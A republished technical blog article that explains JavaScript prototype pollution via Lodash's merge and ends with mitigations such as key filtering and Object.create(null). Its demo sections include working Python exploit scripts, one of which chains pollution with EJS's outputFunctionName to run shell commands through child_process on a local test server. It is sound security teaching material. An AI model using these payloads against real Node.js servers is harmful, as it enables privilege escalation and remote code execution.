How Prototype Chain Pollution Can Hijack Your Node.js Server – Risks and Fixes

This article explains the prototype chain pollution vulnerability in JavaScript, demonstrates how malicious payloads can gain unauthorized server access through libraries like Lodash, provides detailed code analyses, and offers practical mitigation strategies for developers to secure their applications.

ELab Team
ELab Team
ELab Team
How Prototype Chain Pollution Can Hijack Your Node.js Server – Risks and Fixes

Introduction

As a front‑end developer I stumbled upon a prototype chain pollution vulnerability, initially thought it harmless, but deeper investigation revealed it could also grant shell management privileges on the server, which should not be ignored.

0x00 Implementing Object Merge

During an interview a candidate wrote a recursive object‑merge function in 30 seconds:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

Unaware of it, the candidate introduced a prototype‑chain pollution bug.

0x01 Prototype Chain in JavaScript

1.1 Basic Concepts

In JavaScript, the link between an instance object and its prototype is called the prototype chain. It allows a reference type to inherit properties and methods from another reference type, forming a chain of objects.

Three key terms:

Implicit prototype : All reference types have the __proto__ property, e.g., arr.__proto__.

Explicit prototype : All functions have the prototype property, e.g., func.prototype.

Prototype object : Objects that own a prototype property, created when defining a function.

1.2 Prototype Chain Lookup Mechanism

When a variable accesses a method or property that it does not have, JavaScript searches up the prototype chain; if found, it is used, otherwise undefined is returned.

1.3 Common Usage

Methods like toString(), valueOf(), forEach(), map(), includes() are accessed via the prototype chain.

1.4 Risk Analysis & Pollution Mechanism

Example:

var a = {name: 'dyboy', age: 18};
a.__proto__.role = 'administrator';
var b = {};
// b.role => 'administrator'

The __proto__ object is writable; malicious code can add, modify, or delete properties on the prototype, leading to denial‑of‑service or privilege escalation.

0x02 Demo & Combined Attack

2.1 Demo with Koa2

Server code (using Koa, body‑parser, Lodash):

const Koa = require("koa");
const bodyParser = require("koa-bodyparser");
const _ = require("lodash");

const app = new Koa();
app.use(bodyParser());

const combine = (payload = {}) => {
  const prefixPayload = { nickname: "bytedanceer" };
  _.merge(prefixPayload, payload);
};

app.use(async (ctx) => {
  if (ctx.method === 'POST') {
    combine(ctx.request.body);
  }
  const user = { username: "visitor" };
  let welcomeText = "同学,游泳健身,了解一下?";
  if (user.role === "admin") {
    welcomeText = "尊敬的VIP,您来啦!";
  }
  ctx.body = welcomeText;
});

app.listen(3001, () => { console.log("Running: http://localhost:3001"); });

When a crafted payload is posted, the server returns the VIP message for every user.

Attack script (Python) sends a payload that sets constructor.prototype.role to admin:

import requests
import json
req = requests.Session()
target_url = 'http://127.0.0.1:3001'
headers = {'Content-type': 'application/json'}
payload = {"constructor": {"prototype": {"role": "admin"}}}
res = req.post(target_url, data=json.dumps(payload), headers=headers)
print('攻击完成!')

This demonstrates how prototype pollution can turn every visitor into a VIP.

2.2 Analyzing Lodash’s merge Implementation

The vulnerable version is Lodash ≤4.15.11 (or < 4.17.10). The merge function eventually calls baseMerge, which uses safeGet to bypass __proto__ checks, allowing constructor.prototype to be merged and assign arbitrary properties.

function safeGet(object, key) {
  return key == '__proto__' ? undefined : object[key];
}

Further down, baseAssignValue performs a direct assignment when the key is not __proto__, enabling the pollution.

function baseAssignValue(object, key, value) {
  if (key == '__proto__' && defineProperty) {
    defineProperty(object, key, {configurable:true,enumerable:true,value, writable:true});
  } else {
    object[key] = value;
  }
}

2.3 Combining with EJS for Remote Code Execution

By merging a payload that sets outputFunctionName in the prototype, the EJS rendering engine concatenates attacker‑controlled JavaScript into the compiled template, leading to arbitrary code execution.

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const app = express();
app.use(bodyParser.urlencoded({extended:true})).use(bodyParser.json());
app.set('views','./views');
app.set('view engine','ejs');
app.get('/', (req,res)=>{ let title='游客你好'; const user={}; if(user.role==='vip'){title='VIP你好';} res.render('index',{title});});
app.post('/', (req,res)=>{ let data={}; let input=req.body; lodash.merge(data,input); res.json({message:'OK'});});
app.listen(8888,'0.0.0.0');

Using the same prototype‑pollution payload with outputFunctionName results in the server executing any shell command.

2.4 Full Exploit Script

import requests
import json
req = requests.Session()
target_url = 'http://127.0.0.1:8888'
headers = {'Content-type':'application/json'}
payload = {"content":{"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('ls /'); //"}}}}
res = req.post(target_url, data=json.dumps(payload), headers=headers)
print(res.text)

The script can be extended to an interactive shell.

0x03 Mitigation & Fixes

3.1 Vulnerable Scenarios

Object cloning

Object merging

Path handling

3.2 How to Avoid

Upgrade third‑party packages promptly.

Filter dangerous keys such as __proto__, constructor, and prototype in merge/clone utilities.

Use hasOwnProperty to ensure properties are own.

Validate JSON payloads and reject suspicious keys.

Create objects with Object.create(null) to avoid a prototype.

Freeze Object.prototype with Object.freeze (shallow freeze).

0x04 Questions & Exploration

4.1 Additional Questions

Q: Why not use __proto__ directly in the demo payload? A: Lodash 4.17.10 filters __proto__, so the attack uses constructor.prototype to bypass.

Q: Why does every user become VIP after the attack? A: Node.js runs on a single thread; prototype modifications affect the global prototype, impacting all requests.

4.2 Exploration

Prototype‑chain pollution may seem low‑risk, but when combined with other vulnerabilities it can lead to high‑impact attacks. Developers should use automated tools to detect such issues and keep dependencies up‑to‑date.

References

Inheritance and the prototype chain – MDN

Prototype pollution attack (lodash) – HackerOne

JavaScript prototype pollution attack in NodeJS – research paper

Lodash documentation – merge

JS object freezing – blog

National Vulnerability Database (CNVD)

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

Remote Code ExecutionnodejslodashPrototype Pollution
ELab Team
Written by

ELab Team

Sharing fresh technical insights

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.